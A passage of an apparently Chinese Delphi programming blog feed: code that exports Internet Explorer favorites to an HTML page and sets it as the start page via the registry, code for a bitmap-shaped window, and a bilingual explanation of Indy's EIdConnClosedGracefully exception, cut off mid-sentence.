<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg: TRegistry;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>deskpath:string;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//取得桌面路径</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg := TRegistry.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.RootKey := HKEY_CURRENT_USER;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', false) then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>deskpath:=Reg.readString('Desktop');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>finally</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.CloseKey;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.Free;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>inherited;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//设为首页</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg := TRegistry.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.RootKey := HKEY_CURRENT_USER;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', false) then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.writeString('Start Page',deskpath+'\我的收藏夹.htm');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>finally</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.CloseKey;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.Free;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>inherited;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//将文件导出到桌面</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.SaveToFile(deskpath+'\我的收藏夹.htm');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>showmessage('文件导出完成！');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>以上代码从注册表获得Windows桌面路径，然后输出文件，并将此文件设置为浏览器首页。设置为浏览器首页的实现就是修改注册表：“HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main”中的键值“Start Page”就可以了。</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14><B>三、总结与启示</B></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>看了以上代码，我们可以得到一些编程思路如：遍历文件，读写注册表等。如果仔细想想，我们还可以发现怎样将一个网址直接加入收藏夹的思路！</TD></TR></TBODY></TABLE>
<P>&nbsp;</P>
<P>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>完全源代码：</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>unit UFav2HTML;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>interface</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>uses</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>StdCtrls,ShlObj,shellapi,Registry;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>type</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>TForm1 = class(TForm)</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Button1: TButton;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Memo1: TMemo;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Button2: TButton;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure Button1Click(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>function GetIEFavourites(const favpath: string): TStrings;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure Button2Click(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>private</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>{ Private declarations }</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>public</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>{ Public declarations }</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Form1: TForm1;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>implementation</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>{$R *.DFM}</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>function Tform1.GetIEFavourites(const favpath: string): TStrings;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>searchrec: TSearchrec;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str: TStrings;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>path, dir, filename: string;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Buffer: array[0..2047] of char;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found: integer;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str := TStringList.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>path := FavPath + '\*.url';</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>dir := ExtractFilepath(path); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindFirst(path, faAnyFile, searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>while found = 0 do </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SetString(filename, Buffer, GetPrivateProfileString('InternetShortcut',</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>PChar('URL'), nil, Buffer, SizeOf(Buffer), PChar(dir + searchrec.Name)));</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.Add('&lt;a href="'+filename+'"&gt;'+copy(searchrec.Name,1,length(searchrec.Name)-4)+'&lt;/a&gt;'+'&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindNext(searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindFirst(dir + '\*.*', faAnyFile, searchrec); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>while found = 0 do </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if ((searchrec.Attr and faDirectory) &gt; 0) and (searchrec.Name[1] &lt;&gt; '.') then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.add('&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.add(searchrec.name+'&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>str.AddStrings(GetIEFavourites(dir + '\' + searchrec.Name));</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>found := FindNext(searchrec);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>FindClose(searchrec); </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Result := str;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end; </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure TForm1.Button1Click(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var </TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>pidl: PItemIDList;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>FavPath: array[0..MAX_PATH] of char;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SHGetSpecialFolderLocation(Handle, CSIDL_FAVORITES, pidl);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>SHGetPathFromIDList(pidl, favpath);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;html&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;head&gt;&lt;Title&gt;我的收藏夹&lt;/Title&gt;&lt;/head&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Body bgcolor="white"&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Center&gt;&lt;H1&gt;我的收藏夹&lt;/h1&gt;&lt;/Center&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;Hr width="80%"&gt;&lt;BR&gt;&lt;BR&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.add(GetIEFavourites(StrPas(FavPath)).gettext);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.Add('&lt;/BODY&gt;&lt;/HTML&gt;');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>button2.Enabled:=true;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>showmessage('代码生成完成！');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>procedure TForm1.Button2Click(Sender: TObject);</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>var</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg: TRegistry;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>deskpath:string;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>begin</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//取得桌面路径</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg := TRegistry.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.RootKey := HKEY_CURRENT_USER;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if Reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders', false) then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>deskpath:=Reg.readString('Desktop');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>finally</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.CloseKey;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.Free;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>inherited;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>//设为首页</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg := TRegistry.Create;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>try</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.RootKey := HKEY_CURRENT_USER;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>if Reg.OpenKey('Software\Microsoft\Internet Explorer\Main', false) then</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.writeString('Start Page',deskpath+'\我的收藏夹.htm');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>finally</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.CloseKey;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>Reg.Free;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>inherited;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>memo1.Lines.SaveToFile(deskpath+'\我的收藏夹.htm');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>showmessage('文件导出完成！');</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end;</TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14></TD></TR></TBODY></TABLE>
<TABLE width=620 align=center>
<TBODY>
<TR>
<TD class=a14>end.</TD></TR></TBODY></TABLE></P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=119" /> 
	  <id>http://www.openx.cn/default.asp?id=119</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[根据位图做出漂亮的不规则FORM]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:35:23+08:00</updated>
	  <published>2005-11-04T15:35:23+08:00</published>
		  <summary type="html"><![CDATA[unit Unit1; <BR><BR>interface <BR><BR>uses <BR>　 Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, <BR>　 ExtCtrls, StdCtrls, Buttons; <BR><BR>type <BR>　 TForm1 = class(TForm) <BR>　 Image1: TImage; <BR>　 Button1: TButton; <BR>　 procedure FormCreate(Sender: TObject); <BR>　 procedure Button1Click(Sender: TObject); <BR>　 procedure Image1MouseDown(Sender: TObject; Button: TMouseButton; <BR>　 Shift: TShiftState; X, Y: Integer); <BR>　 private <BR>　　 function CreateRegion(wMask: TBitmap; wColor: TColor;hControl: THandle): HRGN; <BR>　　 { Private declarations } <BR>　 public <BR>　　 { Public declarations } <BR>end; <BR><BR>var <BR>　 Form1: TForm1; <BR><BR>implementation <BR><BR>{$R *.DFM} <BR><BR>function Tform1.CreateRegion(wMask:TBitmap;wColor:TColor;hControl:THandle): HRGN; <BR>var <BR>　 dc, dc_c: HDC; <BR>　 rgn: HRGN; <BR>　 x, y: integer; <BR>　 coord: TPoint; <BR>　 line: boolean; <BR>　 color: TColor; <BR>begin <BR>　 dc := GetWindowDC(hControl); <BR>　 dc_c := CreateCompatibleDC(dc); <BR>　 SelectObject(dc_c, wMask.Handle); <BR>　 BeginPath(dc); <BR>　 for x:=0 to wMask.Width-1 do <BR>　 begin <BR>　　 line := false; <BR>　　 for y:=0 to wMask.Height-1 do <BR>　　 begin <BR>　　　 color := GetPixel(dc_c, x, y); <BR>　　　 if not (color = wColor) then <BR>　　　 begin <BR>　　　　 if not line then <BR>　　　　 begin <BR>　　　　　 line := true; <BR>　　　　　 coord.x := x; <BR>　　　　　 coord.y := y; <BR>　　　　 end; <BR>　　　 end; <BR>　　　 if (color = wColor) or (y=wMask.Height-1) then <BR>　　　 begin <BR>　　　　 if line then <BR>　　　　 begin <BR>　　　　　 line := false; <BR>　　　　　 MoveToEx(dc, coord.x, coord.y, nil); <BR>　　　　　 LineTo(dc, coord.x, y); <BR>　　　　　 LineTo(dc, coord.x + 1, y); <BR>　　　　　 LineTo(dc, coord.x + 1, coord.y); <BR>　　　　　 CloseFigure(dc); <BR>　　　　 end; <BR>　　　 end; <BR>　　 end; <BR>　 end; <BR>　 EndPath(dc); <BR>　 rgn := PathToRegion(dc); <BR>　 ReleaseDC(hControl, dc); <BR>　 Result := rgn; <BR>end; <BR><BR>procedure TForm1.FormCreate(Sender: TObject); <BR>var <BR>　 w1:TBitmap; <BR>　 w2:TColor; <BR>　 rgn: HRGN; <BR>begin <BR>　 w1:=TBitmap.Create; <BR>　 w1.Assign(image1.Picture.Bitmap); <BR>　 w2:=w1.Canvas.Pixels[0,0]; <BR>　 rgn := CreateRegion(w1,w2,Handle); <BR>　 if rgn&lt;&gt;0 then <BR>　 begin <BR>　　 SetWindowRgn(Handle, rgn, true); <BR>　 end; <BR>　 w1.Free; <BR>end; <BR><BR>procedure TForm1.Button1Click(Sender: TObject); <BR>begin <BR>　 Close; <BR>end; <BR><BR>procedure TForm1.Image1MouseDown(Sender: TObject; Button: TMouseButton; <BR>Shift: TShiftState; X, Y: Integer); <BR>begin <BR>　 ReleaseCapture; <BR>　 SendMessage(Handle, WM_SYSCOMMAND, $F012, 0); <BR>end; <BR><BR>end. <BR>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=118" /> 
	  <id>http://www.openx.cn/default.asp?id=118</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[温和的关闭连接]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-11-04T15:19:49+08:00</updated>
	  <published>2005-11-04T15:19:49+08:00</published>
		  <summary type="html"><![CDATA[Connection Closed Gracefully <BR>温和的关闭连接<BR>Many Indy users are annoyed by the EIdConnClosedGracefully exception that is raised with Indy servers, especially the HTTP and other servers. EIdConnClosedGracefully is an exception signaling that the connection has been closed by the other side intentionally. This is not the same as a broken connection which would cause a connection reset error. If the other side has closed the connection and the socket is read or written to, EIdConnClosedGracefully will be raised by Indy. This is similar to attempting to read or write to a file that has been closed without your knowledge.<BR>很多Indy组件的用户常常因为Indy server抛出的EIdConnClosedGracefully异常而烦恼，特别是HTTP和其他的server。EIdConnClosedGracefully是连接已经被另一方故意的关闭的象征。这与导致连接复位的错误所致的断开的连接不同。如果另一方已经关闭了连接，并且仍然向套接字中读写，Indy组件将会抛出EIdConnClosedGracefully异常。这与您尝试向一个在您不知情的情况下被关闭的文件中读写数据是很相似的。 
<P>In some cases this is a true exception and your code needs to handle it. In other cases (typically servers) this is a normal part of the functioning of the protocol and Indy handles this exception for you. Even though Indy catches it, when running in the IDE the debugger will be triggered first. You can simply press F9 to continue and Indy will handle the exception, but the constant stopping during debugging can be quite annoying. In the cases where Indy catches the exception, your users will never see an exception in your program unless it is run from the IDE.<BR>在有些情况下这是一个真的异常，你需要编程处理它。在另外一些情况下（典型的服务器），这是协议功能的正常的一部分，Indy组件会为您处理这个异常。即使Indy组件捕捉到了这个异常，当在IDE编程环境中运行时，调试器也将会首先触发它。你只要按F9键继续运行，Indy组件将会处理这个异常，但是在调试期间不断的停止运行是非常烦人的。在Indy组件捕捉到这个异常的情况下，除非在IDE中运行，否则您的用户将不会再看到异常提示。</P>
<P>Simple solution<BR>简单的解决方法</P>
<P>Because the EIdConnClosedGracefully is a common exception especially with certain servers it descends from EIdSilentException. On the Language Exceptions tab of Debugger Options (Tools Menu) you can add EIdSilentException to the list of exceptions to ignore. After this is added the exceptions will still occur in the code and be handled, but the debugger will not stop the program to debug them.<BR>因为对于从EIdSilentException继承来的服务器，EIdConnClosedGracefully是一个正常的异常。您可以在“Tools”菜单的“Debugger Options”的“Language Exceptions”选项卡中将EIdSilentException加到忽略的异常的列表中。当加到忽略的异常的列表中后这个异常仍然会在代码中触发并被处理，但是调试器将不会停止程序的运行。<BR></P>
<P>Is it an error?<BR>这是一个错误吗？</P>
<P>All exceptions are not errors. Many developers have been taught or assumed that all exceptions are errors. However this is not the case, and this is why they are called exceptions and not errors. <BR>异常不一定是错误。很多开发者都认为所有的异常都是错误。但是事实不是这样的，这就是为什么之所以叫异常而不叫错误的原因。<BR></P>
<P>Exceptions are exactly that - exceptions. Delphi and C++ Builder use exceptions to handle errors in an elegant way. However exceptions have other uses besides errors as well. EAbort is one example of an exception that is not necessarily an error. Exceptions such as these are used to mod&#105;fy standard program flow and communicate information to a higher calling level where they are trapped. Indy uses exceptions in such a way as well. <BR>异常就是异常。Delphi 和 C++ Builder 使用异常处理错误。但是异常有错误之外的其他用途。EAbort是一个异常不一定是错误的例子。这样的异常用来将标准的程序流程和交流信息调整到一个更高的能被捕捉到的层次<BR>。Indy组件也是这样使用异常的。</P>
<P>Why is it an exception?<BR>它为什么是一个异常？</P>
<P>Many users have commented that maybe it there should be a return value to signal this condition instead of an exception. However this is the wrong approach in this case.<BR>许多用户说它应该返回一个信号而不是一个异常。但是在这种情况下这是一个错误的方式。</P>
<P>The EIdConnClosedGracefully is raised from a core routine, however when this routine is called it is normally several method calls deep. The EIdConnClosedGracefully is in fact an exception and needs to be trapped by the topmost caller in most cases. The proper way to handle this is an exception. <BR>EIdConnClosedGracefully异常从核心循环抛出，但是当这个循环被调用时，有几种在深层调用的方法。 EIdConnClosedGracefully实际上是一个异常，并且在很多情况下需要被顶层调用者捕捉。处理它的正确的方法是捕获异常。<BR></P>
<P>When is it an error?<BR>什么时候它是一个错误呢？</P>
<P>When EIdConnClosedGracefully is raised in a client, it is an error and you should trap and handle this exception.<BR>当客户端抛出一个EIdConnClosedGracefully时，它就是一个错误，您就应当捕捉并且处理这个异常。<BR></P>
<P>In servers it is an exception. However sometimes it is an error, and sometimes it is an exception. For many protocols this exception is part of the normal functioning of the protocol. Because of this common behavior, if you do not catch the EIdConnClosedGracefully in your server code, Indy will. It will then mark the connection as closed and stop the thread assigned to the connection. If you wish to handle this exception yourself you may, otherwise Indy will handle it and take the appropriate actions for you automatically.<BR>在服务器中它是一个异常。但是在有些情况下这是一个错误，有些情况下是异常。对于很多协议，这个异常是协议正常功能的一部分。因为这个，如果您在你的服务器代码中没有捕捉EIdConnClosedGracefully，Indy组件将会捕获它。它将会将这个连接标记为关闭，并且会停止有关这个连接的所有线程。您可以以您自己的方式处理这个异常，否则的话Indy组件将会处理这个异常并且为您实现正确的处理。<BR></P>
<P>Why does this exception occur in servers?<BR>为什么这个异常会在服务器中触发？<BR></P>
<P>When a client is connected to a server there are two common ways to handle the disconnection:<BR>当一个客户端连接到服务器上时，有两种常用的方式处理这个断开的连接：</P>
<P>Mutual Agreement - Both sides agree to mutually disconnect by one side signaling (and the other optionally acknowledging) and then both sides disconnecting explicitly. <BR>Single Disconnect - Disconnect and let the remote side take notice.<BR>With the Mutual Agreement method both sides know when to disconnect and both explicitly disconnect. Most conversational protocols such as Mail, News, etc disconnect in this manner. When the client is ready to disconnect it sends a command to the server telling it that it will disconnect. The server replies with an acknowledgement of the disconnect request, and then both the client and server disconnect. In these cases an EIdConnClosedGracefully should not be raised, and if one occurs it is in fact an error and should be 